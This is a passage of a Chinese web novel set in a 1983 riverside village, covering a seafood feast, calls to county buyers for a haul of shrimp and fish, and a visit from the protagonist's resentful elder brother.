赵老头这会儿腰也不酸了,腿也不疼了,昂着头走在板车旁,一脸“这都是小事儿”的深沉样,偶尔给围观群众解答两句。 “这你就不懂了,这叫技术,得看天时地利。不是谁都能捞得着的。” 老张在后面推着车,虽累得满头大汗,但听着村民们的议论,心里那叫一个舒坦。 他故意挺起胸脯,生怕别人没注意到他,脸上写满了“我也出了力”的自豪。 江涛和铁牛倒是很淡定,只是简单地跟乡亲们打着招呼。 “运气好,碰上了。” 林月柔早就带着几个丫头在门口等着了。 看到这阵仗,她也吓了一跳,连忙指挥着大女儿把院门敞得更开些。 “快进来,别让太阳晒着虾!” 村民站在院门口,羡慕得眼睛都红了,却也没好意思再往里挤。 江涛也没多说什么,只招呼铁牛、赵老头和老张进屋喝水歇息。 然后,他让林月柔给每个在场村民每户人家都分了半斤虾。 “拿回去尝尝鲜,给孩子解解馋。” 村民哗然,随即爆发出一阵热烈的感谢声。 “哎呀,涛子,这怎么好意思啊!这虾可贵着呢!” “就是啊,涛子,你真是发财了也不忘乡亲,太讲究了!” “涛子,你这心意……唉,以后有用得着我这把老骨头的,尽管开口!” “对!涛子讲义气!以后谁敢欺负你家丫头,我第一个不答应!” 这江涛,真是发财了也不忘乡亲。 半斤虾看着不是很多,但这份心意,让所有人都感激不已,看江涛的眼神都带上了几分敬畏和亲近。 这年头,谁不喜欢一个既有本事又大方的能人呢? “哎呀,这每户半斤,分出去不少呢。” 老张看着一桶逐渐减少的虾,心疼得嘴角直抽抽,这可是钱啊! “你懂什么!” 赵老头也心疼,但强撑着老脸,义正言辞地教训道,“虾太多了,水里养着氧气不足,容易死!分给大伙儿,既能让大家尝个鲜,又能减少损耗,一举两得!懂不懂?” “哦,原来是这样啊。” 老张一副恍然大悟的表情,其实心里还是肉疼,但老赵头说得在理,他也不好再说什么。 赵老头心中暗自得意。 嘿,这老小子怎么不反驳了? 反倒有些不适应了。 分出去一桶虾,村民们喜滋滋拿回去做午饭了。 这样一来,村里几乎家家户户的灶台上,中午都多了一道鲜美的江虾。 整个滨江村空气里都飘着河鲜的香气。 江涛家,林月柔更是忙活开了。 捞来的江虾,自然要烧一点打牙祭的。 另外,地笼里的收获也不错。 螃蟹、猪舌头鱼、黄鳝、泥鳅从地笼倒出,装了好几盆。 林月柔手脚麻利地收拾着。 江盼娣见有螃蟹,高兴得直拍手。 她最爱吃螃蟹了。 江来娣看到泥鳅,眼睛都亮了。 她就好那一口泥鳅炖豆腐。 铁牛自告奋勇去买豆腐,一溜烟跑得没影,生怕走慢了耽误这顿盛宴。 江涛系上围裙,在灶台前掌勺。 烧火的工作,照例由江招娣负责,小丫头蹲在灶膛前,把火苗伺候得旺旺的。 火苗舔着锅底,油温渐热,厨房里很快香气四溢。 江涛将的螃蟹,放在另一个锅蒸,不一会儿,清蒸螃蟹特有的鲜香就弥漫开来。 接着,他把猪舌头鱼裹了薄面,下油锅炸得金黄酥脆。 大黄鳝切成细丝,配上从地里拔的嫩芹菜,大火快炒,淋上酱汁,那香味勾得人直咽口水。 江虾自然还是油焖,红彤彤的油焖大虾看着就馋人。 蒸螃蟹好了,江涛赶紧起锅端到桌上。 林月柔洗了锅,炖上了泥鳅豆腐,奶白的汤滚着,鲜味直往鼻子里钻。 最后,再炒个清爽的青菜,滚个简单的蛋花汤。 这会儿,铁牛、赵老头和老张正坐在院子里,闻着这阵仗,个个坐不住了。 老张哈喇子差点流下来了,使劲吞着唾沫。 赵老头见了,刚想嘲讽几句。 “老张,你这口水都快成……” 话没说完,他自己也闻到一股子钻鼻子的蟹香和鳝丝味,喉咙一动,那不争气的口水也没兜住,差点顺着嘴角淌下来。 赵老头赶紧闭嘴,假装咳嗽两声,转过头去,老脸一红。 这香味,真是杀人不见血啊! 还是铁牛聪明,端起水杯猛灌水,试图压下那股馋劲儿。 “开饭了!”江涛在屋里招呼几人。 “可以吃了?” 老张腾地站起身,动作快得像装了弹簧。 感觉自己太猴急了点,又不太好意思地挠挠头。 赵老头轻咳一声,尽量慢条斯理地起身,迈着四方步往屋里走,装作很淡定的样子。 铁牛可没那么多讲究,快步抢先进了屋。 两老头一看,连忙也加快脚步跟了进去,生怕去晚了没好菜了。 隔壁,赵老太站在自家门口,伸长着脖子往江涛家张望。 刚才赵老头在院子里说话的声音她听到了,江涛家飘出的香气她更是闻了个正着。 她心里那个盼啊。 想着这次死老头会不会良心发现,喊她一起吃饭。 但这也就是空想。 赵老头进了屋,连个影子都没往她这边晃一下。 赵老太心里一阵失望,狠狠啐了一口。 “这个糟老头,只知道自己吃香的喝辣的!” 幸好涛子也分给她半斤江虾,要不她就只能闻着香味干瞪眼了。 第96章 扶摇直上 八仙桌摆得满满当当。 江涛、铁牛、赵老头、老张照例一人一面。 林月柔和几个丫头则在大圆桌,自然也是同样的菜色。 江涛给同桌几人倒上黄酒。 醇厚香气混着菜肴鲜味,熏得人鼻子发痒,食欲大开。 “来,走一个。” 他举起杯子,众人纷纷响应。 这次可没人客气。 老张伸出筷子,直奔红彤彤的油焖大虾,夹起一只就往嘴里塞,烫得直哈气也不舍得吐出来。 “香!真香!这虾肉弹牙,汤汁也渗进去了!” “张叔,这吃虾要吐壳。” 铁牛想起之前在江涛家吃饭,他也是连壳都吃了下去,还是江招娣提醒的他。 “铁牛,这你就不懂了。” 老张嚼得嘎嘣脆,“这江虾的虾壳吃下去补钙,咱们老年人就该连壳吃,对腰腿好!对吧,老赵?你腰疼也要多吃点壳啊。” “你自己补吧,我要吃这个。” 赵老头没好气地白了他一眼,筷子直奔那盘炸得金黄酥脆的猪舌头鱼。 这鱼外酥里嫩,连骨头都能嚼碎,配着黄酒,那叫一个美,哪有空去嚼那些硬壳。 再说,老小子不是自诩年轻人吗? 怎么这会儿又知道自己是老年人了? 哼,还不是嘴馋想吃,跟猪八戒吃人参果似的,囫囵个儿吞下去才香,哪是什么补钙不补钙啊。 “嘿嘿,我还是觉得鳝丝好吃。” 铁牛是个实在人,夹了一大筷子芹菜炒鳝丝。 这菜鲜香爽口,特别下饭,他能一连吃下好几碗。 “今天菜管够。” 江涛笑着给几人夹菜,自己拿起一只螃蟹。 剥开蟹壳,蟹黄饱满流油,蟹肉鲜甜紧致,一口下去,鲜得眉毛都要掉下来。 “涛子,这日子过得,神仙也不换啊!” 老张几杯黄酒下肚,脸红脖子粗,看着满桌河鲜,眼里满是满足。 “可不是吗?” 赵老头抿着酒,看着满桌佳肴,心里那叫一个舒坦。 这才是过日子的滋味。 “咱们这辈人,六零年那会儿饿得啃树皮、吃观音土,哪敢想有一天能这么敞开了吃鱼虾蟹?那时候能喝上一口白粥都是福气。现在这日子,真是托了涛子的福,咱们赶上好时候了。” 他这话一出,桌上安静了一瞬。 老张深有感触地点点头。 那段勒紧裤腰带、饿得面黄肌瘦的日子,他们这辈人谁也忘不了。 如今看着满桌的河鲜,这种富足感不仅仅是嘴里的享受,更是一种心里的踏实和慰藉。 “我听我娘说,” 铁牛放下筷子,“当年县里闹饥荒,要不是涛子爸爸偷偷开仓放粮,当时饿死的人得翻倍。” 这一说,桌上气氛陡然沉寂下来。 是啊,江老爷子活着时,那是十里八乡出了名的大善人。 谁家揭不开锅他不借点? 谁家娶媳妇他不给凑点? 可老爷子一出事,那些受过恩惠的人呢? 一个个缩得比王八还快,没一个伸手拉江涛一把。 赵老头想起江老爷子刚走那阵子,江涛孤苦伶仃一个人,瘦得跟个竹竿似的。 本以为他跟月柔结婚后能安稳下来,谁知又被宋二那个杀千刀的拖下水。 作为邻居,他赵老头不是没劝过,可那时候的江涛是个混不吝的,油盐不进,劝也劝不动。 江涛家里一堆丫头片子嗷嗷待哺,那时候瘦得风都能刮跑。 江海和江川那两个当哥哥的,有一个上门给过支持吗? 哪怕是一斤米、一块钱? 没有! 一个个躲得比谁都远,生怕被这赌鬼弟弟沾染了晦气。 “唉……” 赵老头长叹一口气,给自个儿满上酒。 “不说那些糟心事了。老爷子在天有灵,看到涛子现在这么出息,也能闭眼了。来,喝酒!” 江涛没说话,只是默默给众人夹了菜。 那段日子确实苦,但他不需要别人怜悯。 现在他清醒了,守着身边的这些人,把日子过得热气腾腾,这就够了。 “行了,好日子还在后头呢,这才哪儿到哪儿。” 江涛放下筷子,“电灯电话,楼上楼下,咱们赶上好时候了,只要撸起袖子加油干,日子一定会过得红红火火!” 现在是一九八三年,改革的春风即将从南方吹来。 滨江村虽然还透着股土腥味,但江涛知道,国家这艘大船即将飞速航行。 趁着这股东风,他这只小船也能扶摇直上。 后来多少人事后才反应过来,后悔当初没有抓住这波机遇,错过了改变命运的机会。 他绝不能让自己成为那些后悔大军中的一员。 “涛子,咱们农村人真能过上那样的神仙日子?” 赵老头半信半疑,手里捏着酒杯,眼神有些发飘。 广播里、报纸上虽一直宣扬“楼上楼下,电灯电话”,但他活了大半辈子,一直以为这些都是当官的吹牛画饼,用来忽悠老百姓开心的,哪能真轮到他们这些泥腿子? “怎么不能?” 江涛笑了,“赵叔,,只要咱们敢想敢干,以后别说电灯电话,就是小汽车开进咱村,那都不是事!” “小汽车?” 老张倒吸一口凉气,“那玩意儿可是县长才坐得起的!” “以后咱们村也会有的。” 江涛拿起一只螃蟹,“来,别光顾着说话,吃蟹,这蟹黄都要凉了。” “是啊是啊,会有的。” 老张见缝插针地拍上马屁,“涛子家不就马上要盖楼房吗?这不就是楼上楼下?我听说村里就要通电了,到时咱也装上电灯电话。” 赵老头鄙夷地瞥了老张一眼。 这个老张能不能改改溜须拍马的毛病? 咱们都是淳朴的庄稼人,不兴这套好吧? 不过,还别说,涛子家不就很快要实现楼上楼下,电灯电话了么? 而且,可不止这些,涛子还要买冰箱电视和洗衣机呢。 “反正我铁牛是跟定涛子了……” 铁牛表起了忠心。 “对,我老赵自然也跟定涛子了。” 赵老头连忙也表了态。 “还有我老张!” 几人相视一笑,心里莫名跟着热乎起来。 也许,跟着涛子,真能过上那神仙日子? “甜蜜蜜,你笑得甜蜜蜜……” 几人正憧憬着,屋里忽然飘出熟悉的旋律。 江盼娣不知何时摆弄起了录音机,《甜蜜蜜》的歌声悠悠扬扬地传了出来。 “盼娣,怎么不放你那《蓝精灵》了?” 江招娣有些意外。 “大姐,这你就不懂了。” 江盼娣一脸傲娇,“刚刚我听爸爸说,好日子还在后头呢,要红红火火的……我觉得《甜蜜蜜》比较应景。” 江涛一听,不得了啊。 他家二丫头察言观色的本事,简直是天生的。 早上还为了一盘磁带跟姐姐争得面红耳赤,现在就能不动声色地换歌,话还说得如此滴水不漏。 这可不是简单的小聪明,这是通透的人情世故啊。 二丫头这份眼力见和精明劲儿,可得好好培养引导,将来保不准是家里最能撑场面的人。 “就会说好听的。” 江盼娣撇撇嘴,和江来娣相视一眼。 呵呵,老二这是打白旗投降呢。 看来经过早上的较量,她终于明白,这录音机她一个人霸着也没用。 第97章 运气,碰上了而已 吃完饭,差不多下午一点。 铁牛、赵老头和老张在院子里喝茶歇息,几人有一搭没一搭地闲聊,等着待会卖鱼卖虾搭把手。 江涛带了两斤江虾和几条黄颡鱼,骑上自行车直奔村支书李富贵家。 他要借用村公所的电话联系县里,但这会儿李支书应该在家里午休。 到了门口,院门虚掩着。 李富贵正躺在院里的藤椅上打盹。 江涛轻手轻脚走进来,将东西放在院里的石桌上。 “谁啊?” 李支书惊醒,一见是江涛,又看见石桌上鲜活的鱼虾,顿时睡意全消,眼睛瞬间亮了。 “哎哟,涛子来了!快坐快坐!” 他连忙招呼,脸上的褶子都笑开了花。 刚才听说江涛给看热闹的村民分虾,心里还嘀咕这小子败家,没想到这好事也落到了他头上。 “李支书,这是刚捞上来的,给您尝个鲜。”江涛笑着将鱼虾递过去。 “你这孩子,太客气了!听说你上午给村民分虾,大气!真大气!” “现在的年轻人,像你这样发了财不忘乡亲的,少见咯。” 李支书开心接过来,对江涛那叫一个赞不绝口。 “李叔,瞧您说的,都是小意思,没什么。” 江涛客套几句,便说起正事,想借村公所的电话用用。 “嗨,电话啊!” 李支书大手一挥,“村公所这钥匙你拿着,以后想打电话直接去,别客气!反正那电话平时也没人打,闲着也是闲着。” “李支书,这钥匙我可不能拿。” 江涛笑着摆手,“您是村里的父母官,我要是私自拿了村公所的钥匙,回头难免有人闲话,说我江涛攀关系搞特殊,那对您影响不好。” 李支书闻言一愣,随即心里涌起一股暖流。 哎,这小子思想觉悟很高啊。 办事稳,还处处维护他的面子,懂进退,知轻重。 不像村里有些愣头青,光顾着自己痛快。 “对了,你那楼房审批的事办得怎么样了?”李支书拉着江涛坐下。 “材料都递上去了,土管所的周科长和城建办的李主任都见了,手续没问题,就差个正式的施工图纸和结构安全意见。”江涛如实说道。 “那是大事,马虎不得。” 李支书点点头,“对了,告诉你个准信儿,村里要通电了!供电所那边已经把计划批下来了,下个月就能架线到村。” “我也听说了。” 江涛笑道,“到时我这楼房盖好了,刚好就能通电。” “哈哈,那肯定是你家第一户!” 李支书指着江涛大笑,“别人家住着老房子,也不一定舍得拉电,你倒好,新楼房直接就能通上电,这排场,全村独一份!” “支书,您家到时候不也会拉吗?” 江涛打趣道,“您家那大瓦房,拉个电也是必须的。” “哈哈,那倒是。” 李支书一脸自豪,“我那在省城工作的儿子说了,今年回来就把家里的电器置办齐了。” 虽然在滨江村当支书没什么大油水,但他儿子出息,这点电费和电器还是负担得起的。 “对了,支书,这村里通电后,那电话线……会不会也跟着一起铺进来啊?” 江涛随口问道。 “啥?电话线?” 李支书一听乐了。 好家伙,这小子野心不小啊! 建楼房、拉电还不够,连电话都要安排上了? 普通人家干成其中一件都要脱层皮,这小子是一口气要吃成个胖子? “涛子啊,这电话线的事……我得跟上面请示。” “你也知道,咱们村穷,目前还没有全面铺设电话通讯的计划。” “村公所这部电话,还是当年公社特批的,线路都是单拉的,要是想家家户户通电话,那工程可就大了去了。” “嗯,也是。” 江涛点点头,“那麻烦支书跟我去一趟村公所?” “好啊。” 李支书爽快应下,随即招呼他家老婆子,“春兰,把这虾和鱼拾掇了,晚上给我下酒。” “就你好吃。” 他家老婆子走出来,嘴上嗔怪,但看到那肥美的鱼虾,也是满心高兴。 “涛子,你这孩子太有能耐了……”她看着江涛,越看越喜欢。 “婶子,一点小意思,不成敬意。” “咱们走吧,别跟老婆子啰嗦了。” 李支书催促道,生怕老婆子又要拉着江涛唠叨半天。 老婆子嗔怪地白了他一眼,对江涛笑道:“涛子,以后常来家坐坐啊。” “好的,婶子,那回见。” 江涛跟着李支书来到村公所。 照例先给高主任去了电话。 “喂,高主任,我江涛啊,是这样的……” 江涛简要说明了情况。 电话里,高主任听到有江虾和黄颡鱼,高兴坏了。 “太好了涛子,这江虾和黄颡鱼可是稀罕物,我马上派车去。” “高主任,” 江涛笑道,“这次量不是特别大,要不还跟上次一样,麻烦刘主任派车来,匀一点给您?” “嗯……行吧。” 高主任在电话那头沉吟片刻,也觉得行。 他们单位毕竟不比招待所,这成本支出把控得比较严,能省点是点。 “那我给刘主任联系。” 挂断电话,江涛又将电话打到了县车队刘主任那儿。 刘主任也高兴坏了,“江涛同志,我立即派车过去,匀点给老高那边没问题。” “那谢谢刘主任了,我在家等您。” 放下电话,江涛长舒一口气。 好了,这事算是搞定了。 回家等着卖货收钱就行。 “涛子,你这能耐太大了。” 李支书心里那个感慨啊。 好家伙,这次又是几百斤的鱼虾,还能让县里上门来收。 “涛子啊,这江里的鱼虾感觉都是你家的养殖场啊,怎么要多少有多少?” 李支书开玩笑。 “运气,碰上了而已。” 江涛谦虚地笑笑。 其实,他也没说错,可不就是碰上了而已嘛。 至于说运气,那自然也是。 情报系统,不就是他最大的气运? 打完电话,江涛照例又给了李支书一块钱电话费。 李支书本想推脱,但江涛说这是公家的电话,必须给。 李支书便收下了,反正也就一块钱。 现在涛子动不动就几百斤鱼虾,收入肯定不菲,也不在乎这一块两块的。 “涛子,你这发了财,能不能也带带乡亲们……” 李支书犹豫了一下,还是说出了口,说完就觉得不好意思。 人家江涛发财是靠本事,没义务带着全村。 可作为村支书,又真心希望全村都能富起来。 江涛听了没有反感。 李支书是个好人,不像某些村霸,当支书是为了自己捞好处。 李富贵是真心想为村民办实事。 “支书,您的意思我知道。” 江涛想了想,“眼下我实力有限,不过真要有需要人手的时候,我一定不会忘记咱们滨江村村民的。” 说实话,他不是那种说大话爱揽事的人。 他父亲江老爷子当年做善事,最后落得那样的下场,他心里多少是有阴影的。 当然,人生在世,不能以利为先,做什么事还是要凭本心。 到时他买了渔船,或者搞了养殖场,需要村民干活,自然不介意拉他们一把。 第98章 今天太爽了 “支书,那我就回去了。” 江涛跟李支书告辞。 “哎,路上慢点。” 李支书送到门口,望着江涛骑车远去的背影,心里暗暗感慨。 这小子,干啥啥成,真是有本事了。 回去的路上,江涛轻快地蹬着自行车。 江虾之前在乡里东风饭店卖的是七块一斤,黄颡鱼是四块一斤。 江虾估摸着有两百斤,黄颡鱼大概在三百斤,两厢加起来,差不多这次能卖个将近三千块。 这跟之前卖那五条锦鲤的钱差不多,但那五条是意外之财,这次可是实打实的劳动所得。 想到这,江涛嘴角忍不住上扬。 这日子,真是越过越有奔头了。 而此时,草编厂会议室里,气氛压抑得能拧出水来。 老徐坐在主席台上,手指焦躁地敲击着桌面,看着底下几个垂头丧气的车间主任,心里一股无名火直往上蹿。 厂里账户比脸还干净,仓库里积压的草编工艺品堆成了山,发工资的日子却一天天逼近。 “大家都说说吧,这月的订单怎么回事?江副主任,赵老板那边到底有没有戏?” 老徐把矛头直指江海,“这招商引资的任务,你是第一责任人,现在厂子都要揭不开锅了,你倒是给我个准信啊!” 什么?! 我什么时候成第一负责人了? 江海被几十双眼睛盯着,手心全是汗,心里那个委屈啊。 这事明明老徐才是第一责任人,自己当初只不过帮着跑跑腿而已。 现在倒好,他成了顶包的罪羊? 所有的压力全压在他一个人身上,这不太合适吧? “徐厂长,我……我联系赵老板好几回了。” 江海硬着头皮站起来,“赵老板那边……他倒是提起过,说这事还得看我弟弟江涛的面子。只要江涛肯帮忙牵线,这投资……” “放屁!” 老徐猛地一拍桌子,“江海,既然知道赵老板看重你弟弟,那为什么你还干坐在这?还不赶紧去讨好你弟弟?这点事都办不了,你当什么副主任?我看你是不想干了!” 江海被骂得狗血淋头,脸一阵红一阵白,心里把江涛恨到了骨子里。 昨晚他去江涛家,那是去示好,也是去摸底。 结果呢? 江涛那小子摆什么谱? 家里吃着大鱼大肉,却不给他加双筷子,就让他看着流口水! 那是亲大哥啊,至于那么小气吗? 他越想越怨恨,却全然忘了。 当年江涛一家老小在水深火热中挣扎,连口饱饭都吃不上时,他这个做大哥的,也是这般不闻不问,生怕被沾染了晦气。 “厂长,不是我不努力,是我弟弟他……”江海还想辩解。 “闭嘴!” 老徐气得胸口起伏,“我看你就是办事不力!这样吧,这个班你先别上了!” 江海一听,腿都软了,“徐厂长,别啊,我错了……” “出去!” 老徐指着门口,下了最后通牒。 “你现在就给我滚出去!别来厂里了,去把你弟弟服侍好了再说!什么时候把你弟弟哄开心了,把赵老板的投资拉过来,什么时候再回来上班!否则,你就卷铺盖走人!” “厂长,你不能这样……” 江海还想挣扎,但看老徐那张决绝的脸,知道这次是动真格的了。 得,还有什么好说的。 就是上刀山下火海也得去啊。 江海像霜打的茄子一样蔫了,心里把江涛一家骂了个遍,却又不得不承认。 现在的他,恐怕真的只能指望那个不念旧情的弟弟了。 另一边,江涛骑着自行车到了家。 院子里,录音机正放着《甜蜜蜜》。 江盼娣已经不霸占着录音机了。 因为她会操作,现在主动充当起“首席放歌员”,谁喜欢听什么,她就帮着换什么磁带,倒也挺和谐的。 “涛子,怎么样?电话打通了吗?”赵老头见江涛回来,连忙迎上来问。 “打通了,待会刘主任过来拉货。” 江涛把自行车支好,“招娣,去小卖部买几瓶汽水。” “好的,爸爸,这次买几瓶?” 江招娣仰着脸问。 上次爸爸让买了五瓶汽水,她和几个妹妹都没喝上。 “呃,要不买一箱吧。” 江涛见江招娣那副小眼神,还能不知道小丫头的心思? 买一箱,待会儿刘主任来了能招待,剩下的放在家里,天这么热,几个孩子也能解解馋。 现在五月下旬,还有十来天就到六月,天气一天比一天热。 “算了,我自己去吧。” 江涛想着江招娣一个小孩子也搬不动一箱汽水,还是自己去,到时多买几箱也行。 “涛子,还是我跟着招娣一起去。” 铁牛抢着说。 跟着涛子分了几百块,他这心里一直过意不去,总想找机会表现。 这两天江涛家要买什么东西,他都抢着去,花个几块钱也是他的心意。 江涛看着铁牛样子,点了点头。 他要不答应,估计铁牛能跟他急。 “走,招娣。”铁牛立刻带着江招娣出了门。 “我也要去。”江来娣见状,也要跟着去。 “走吧。” 三人一起到了老邹家小卖部。 “哎哟,铁牛,又是你啊。” 老邹正坐在门口打盹,一见铁牛,立马堆起笑脸。 这两天都是铁牛跑他这儿买豆腐。 “老邹,给我们来一箱汽水。”铁牛大大方方道。 “哎哟,一箱啊?是不是涛子让买的?” 老邹见江招娣和江来娣都跟了过来,笑着问。 “是啊。” 铁牛点头,掏出钱来。 说是这样说,但这钱他可不让江涛出。 之前买豆腐的两块钱,江涛要给他,他直接急了。 两块钱也要给,有没有把他铁牛当兄弟? 这汽水的钱,也必须他来出。 “招娣、来娣,我这还有刚进的可乐,要不要也来一箱?” 老邹神秘兮兮地从柜台下搬出一个箱子。 “这可是洋汽水,甜甜的,还会冒泡呢。我在申城打工的侄子说,那边的有钱人都爱喝这个。” 当初进货时,批发老板给他强力推荐,说这玩意儿在大城市火得不得了。 他本来不想进,乡下人哪喝得惯洋玩意儿? 但老板说申城那可受欢迎了,有钱人都爱喝。 老邹想着,他们村江涛家不也是有钱人嘛。 进这么几箱没事,没想到第一个买家就是江涛家的人。 “可乐是什么?”江来娣好奇了。 “来,给你们倒一杯尝尝?” 老邹挺大方,当场拉开一瓶,“滋”的一声,棕色的液体冒着气泡涌上来。 他给江招娣、江来娣,还有铁牛各倒了一杯。 江招娣和江来娣小心翼翼地抿了一口,眼睛瞬间亮了。 “好喝!甜甜的,还有气儿!” 说着,两人还打了一个小嗝。 铁牛喝了一口,却皱起了眉头。 这味道怪怪的,不如喝白开水舒服。 但两个孩子喜欢,那就买一箱。 “好嘞。” 老邹高兴坏了,这可是他开张的第一箱可乐,没想到这么顺利。 “一箱正广和橙子汽水四块八,一箱可口可乐四十八,一共是五十二块八。” 铁牛爽快地付了钱,心里美滋滋的。 这点钱算什么,涛子分那么多钱给他,他才花这点,心里舒坦着呢。 “对了,我这还有刚摘的桃子,要不要来几斤?”老邹又热情地推销道。 “行,来点。” 铁牛大手一挥。 涛子分那么多钱给他,他才花这点,正好表达点心意。 “给你称十斤,十块钱。” 老邹乐得合不拢嘴。 今天太爽了,一个生意就是六十多块,这可比卖那些针头线脑强多了! 第99章 江老弟,我来了! “爸爸,爸爸,你看我们买了什么?” 江招娣和江来娣用小棍挑着一篮桃子,献宝似的举起来。 她们身后,铁牛吭哧吭哧地搬着两箱汽水。 “哎呀,买这么多……” 老张的眼睛都直了,盯着那两箱汽水和一篮子红彤彤的桃子。 橙子汽水是他喜欢的,那桃子看着也水灵得不行。 只不过,家里条件一般,儿子年纪不小了,媳妇还没娶上,他一个当爹的哪有脸吃喝。 没想到在涛子这儿,不仅能喝上,还能吃上新鲜的桃子。 老张心里那个羡慕啊,恨不得自己也是这家里的一份子。 赵老头嫌弃地瞥了老张一眼。 这老小子,看见吃的就挪不动步,真没出息。 不过,桃子他也喜欢。 家里院子原本种着一棵桃树,但前几年枯死了,这几年也就没桃子吃了。 看着那红扑扑的桃子,赵老头不自觉地咽了口口水。 “月柔,快出来把桃子洗洗。” 江涛招呼道。 林月柔从屋里出来。 中午吃午饭,她忙着将碗筷洗了,又烧水给赵老头几人喝茶 桌椅也仔细擦了,,擦完还特意用干布再擦一遍,防止水分把木头沤坏了。 总之,这一天到晚,她就像个不停转的陀螺,忙得没停过。 “爸爸爸爸,不用妈妈出来洗。” 江招娣自告奋勇,“我和三妹就能洗。” 小丫头知道妈妈辛苦,想着分担一点。 “还有我呢。” 江盼娣也不甘示弱。 有桃子吃,她可不想落后。 看着几个丫头这么贴心,林月柔心里一暖,便帮着将汽水箱子打开。 一箱24瓶,都是玻璃瓶的,摸起来凉凉的。 江涛给在场每人都分了一瓶。 老张捧着冰凉的瓶子,嘿嘿直笑。 “谢谢涛子啊。” 几人喝着汽水,心里都美滋滋的。 在这轻松愉快的气氛中,院门外出现了一个身影。 江海来了。 他脸色阴沉,头发有些凌乱,站在门口有些局促,看着院子里这群人喝着汽水,那橙子香甜味儿直往鼻子里钻,让他口水不争气地直往外冒。 “咳咳。” 他假装轻咳,硬生生将口水咽了回去。 “涛子在家呢?” 江海勉强扯出个笑,脚步沉重地走进来。 目光一扫,却猛地顿住了。 院墙树荫下,几个大盆里养着活蹦乱跳的黄颡鱼,旁边几大盆江虾更是噼里啪啦地快蹦出来。 这么多鱼虾? 他倒吸一口凉气 昨晚过来只顾着跟江涛甩脸子,竟没留意这些。 之前他也见过江涛院里养着几盆鲫鱼,还以为江涛是踩了狗屎运,偶尔捞了一些补贴家用。 毕竟,打渔这碗饭向来是看天赏脸的,哪能次次都让他撞上大运有收获? 可眼前这阵仗,这哪是偶尔? 这不是天天有顿顿足?! 老天爷怎么回事? 凭什么江涛这混小子,当年被全村戳脊梁骨骂“败家子”“扫把星”,如今反倒日子过得风生水起! 而他却像个过街老鼠人人喊打? 江海心里像被千万根针扎着,又酸又胀。 凭什么? 凭什么他这个草编厂副主任,如今要为工资发愁,要被厂长指着鼻子骂? 而江涛,曾经连饭都吃不饱的废物,现在院子里鱼虾成堆,连孩子喝个汽水都整箱买? 这世道,真是瞎了眼! “大哥,你怎么又来了?” 江涛眉头微皱。 待会刘主任就要过来拉货,他哪有空跟江海掰扯那些陈芝麻烂谷子的闲话。 江海心里本来就憋着一肚子火,听见江涛这语气,顿时像被点燃的炮仗。 “老三你怎么说话的?” 他梗着脖子,“我是你大哥!我来自家弟弟这儿,还要提前预约不成?” 江海将今天在厂里受的那些窝囊气,一股脑全撒在了江涛身上。 在场的人都愣住了。 赵老头放下汽水瓶,冷哼一声,“我说江海,你这脸面是哪里来的啊?” 他最看不惯江海这副高高在上的官腔。 “当初涛子家里揭不开锅、几个丫头饿得面黄肌瘦的时候,也没见你这大哥伸出过一根手指头!现在涛子凭自己的本事翻身了,你这当大哥的倒是来得勤快!” 赵老头的话像连珠炮一样,丝毫不留情面。 江海气疯了,脸涨成猪肝色。 “赵老头你算老几?我自家兄弟说话,轮得到你插嘴?我哪有天天来,我不就是来了几次!” “对啊,” 赵老头嗤笑一声,慢悠悠补了一刀,“平时不烧香,临时抱佛脚。现在知道来求人了?” 江海顿时哑口无言。 是啊,他对江涛一家从来是不闻不问,凭什么他会觉得江涛会帮他? 这突如其来的醒悟,像一盆冰水,将他从头浇到脚。 “涛子,你真的要拒大哥以千里之外吗?” 江海满心不甘,“咱们到底是亲兄弟,打断骨还连着筋呢!” “哎哟,这话我就不爱听了。” 老张放下汽水瓶,慢悠悠插嘴,“既然亲兄弟骨肉相连,当初为何要打断?这筋还能接上吗?” 江海气得一噎,脸涨得通红。 他这就是个比喻,比喻懂不懂? 这死老张专门挑刺! “老三,你到底……” 江海刚要发作,却发现江涛压根没看他。 江涛太清楚江海是什么德性了。 现在是落到难处了,才装出这副可怜相。 但凡他得点势,那鼻孔能朝天。 当初靠着父亲安排进了草编厂,这也就罢了,竟然丧尽天良地将他的录取通知书给藏起来! 这是典型的只顾自己,断了别人的活路。 江涛有时候挺搞不懂江海这种人的心理,自己去上大学又没碍着他,何必要毁了别人的前程? “大哥,我现在忙着呢,真的没空跟你叙旧。”江涛语气冷淡。 “忙?忙什么?” 江海不信,他觉得江涛就是在装腔作势。 他只看见这一群人正喝着汽水,吃着桃子,哪里有半分忙碌的样子? 这就是故意刁难他! 跟那个老徐一样可恶! 江海正要骂出口,听见身后一阵引擎轰鸣声。 回头一看,是辆跃进牌的蓝色卡车,“嘎吱”一声停在了院门口。 车上跳下来一个干部模样的人,大步流星地走进院子。 “江老弟,我来了!” 第100章 这都是报应啊! “老弟,哥哥我没让你久等吧?我这接到你电话,立刻就让小王开车赶来了!” 刘主任满脸堆笑地朝江涛伸出双手。 态度那叫一个亲昵。 不对,不只是亲昵,其中还带着一丝讨好。 江海太明白那感觉了。 以前他在草编厂奉承徐厂长时,就是这副德行。 腰要弯得恰到好处,脸上得堆满真诚的笑意,生怕哪点不到位惹对方不快。 怎么? 江涛当上什么大官了? 要不,这人能这么对着他这个败家子弟弟露出这副神态? 江海站在原地,感觉有些摸不着北。 “没有没有,刘主任赶快坐下喝瓶汽水。” 江涛客气地招呼着。 “爸爸,这还有可乐呢。” 江招娣赶紧提醒。 她知道这人是县招待所的采购干部,前两次来她家收鱼,爸爸可是卖了好多钱。 这样的财神爷,不得好好招待着? “啊对对。” 江涛这才注意到铁牛搬回来的两箱里有一箱是可乐。 这老邹可以啊。 现在八三年,可乐也才刚进入国内市场吧,他竟然能进到货,挺有能耐。 “可乐?” 刘主任眼睛一亮,惊喜之情溢于言表,“涛子,你这可以啊,这可乐可是大城市才有的稀罕物!” “刘主任见笑了。”江涛谦虚两句。 铁牛已经麻利地打开可乐箱子,拿出几瓶出来。 江涛给刘主任还有跟过来的司机小王一人一瓶,其他人也都分了一瓶。 老张高兴坏了。 这一下子得两瓶汽水,赚大发了。 赵老头看着那黑乎乎的可乐,有些不明所以,但看在是稀罕物的份上,也没拒绝。 江涛分了一圈可乐,看到江海傻站在那,便也分了一瓶给他。 毕竟,这有外人在场呢。 要是区别对待,人刘主任问起来都不知道怎么说。 当然,也不是怕江海闹事,只是这样会耽搁时间。 他可不想把时间精力浪费在跟江海掰扯上。 “谢谢。” 江海拿着那瓶可乐,心里五味杂陈,鬼使神差地说了一句谢谢。 赵老头和老张见状,同时翻了个白眼。 德性! 刚才凶得跟个疯狗似的,现在装什么文明人? 